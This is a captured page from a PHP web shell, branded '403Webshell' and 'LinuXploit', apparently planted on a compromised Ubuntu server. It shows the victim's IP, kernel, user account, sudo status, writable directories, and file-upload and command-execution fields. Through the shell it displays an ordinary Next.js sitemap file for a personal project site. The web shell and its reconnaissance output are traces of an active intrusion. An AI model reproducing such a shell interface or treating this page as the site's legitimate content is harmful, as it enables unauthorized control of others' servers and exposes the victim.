403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/codex/current/web/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/codex/current/web/app/sitemap.ts
import type { MetadataRoute } from 'next';
import { listProjects, listCapabilities, listPackages } from '@/lib/codex-api';

export const revalidate = 3600;

export default async function sitemap(): Promise<MetadataRoute.Sitemap> {
    const BASE = 'https://codex.philiprehberger.com';
    const now = new Date();

    const staticEntries: MetadataRoute.Sitemap = [
        { url: `${BASE}/`, lastModified: now, changeFrequency: 'daily', priority: 1.0 },
        { url: `${BASE}/heatmap`, lastModified: now, changeFrequency: 'daily', priority: 0.9 },
        { url: `${BASE}/gaps`, lastModified: now, changeFrequency: 'daily', priority: 0.8 },
        { url: `${BASE}/projects`, lastModified: now, changeFrequency: 'daily', priority: 0.9 },
        { url: `${BASE}/packages`, lastModified: now, changeFrequency: 'daily', priority: 0.9 },
        { url: `${BASE}/capabilities`, lastModified: now, changeFrequency: 'daily', priority: 0.9 },
        { url: `${BASE}/resume-bullets`, lastModified: now, changeFrequency: 'weekly', priority: 0.7 },
        { url: `${BASE}/about`, lastModified: now, changeFrequency: 'monthly', priority: 0.5 },
    ];

    try {
        const [
            { data: projects },
            { data: capabilities },
            { data: packages },
        ] = await Promise.all([
            listProjects({ per_page: '100' }),
            listCapabilities(),
            listPackages({ per_page: '1000' }),
        ]);

        const projectEntries = projects.map((p) => ({
            url: `${BASE}/projects/${p.slug}`,
            lastModified: now,
            changeFrequency: 'weekly' as const,
            priority: 0.7,
        }));

        const capabilityEntries = capabilities.map((c) => ({
            url: `${BASE}/capabilities/${c.slug}`,
            lastModified: now,
            changeFrequency: 'weekly' as const,
            priority: 0.6,
        }));

        const packageEntries = packages.map((p) => ({
            url: `${BASE}/packages/${p.slug}`,
            lastModified: now,
            changeFrequency: 'weekly' as const,
            priority: 0.5,
        }));

        return [...staticEntries, ...projectEntries, ...capabilityEntries, ...packageEntries];
    } catch {
        // If the API is unreachable, ship the static skeleton — better than 500.
        return staticEntries;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit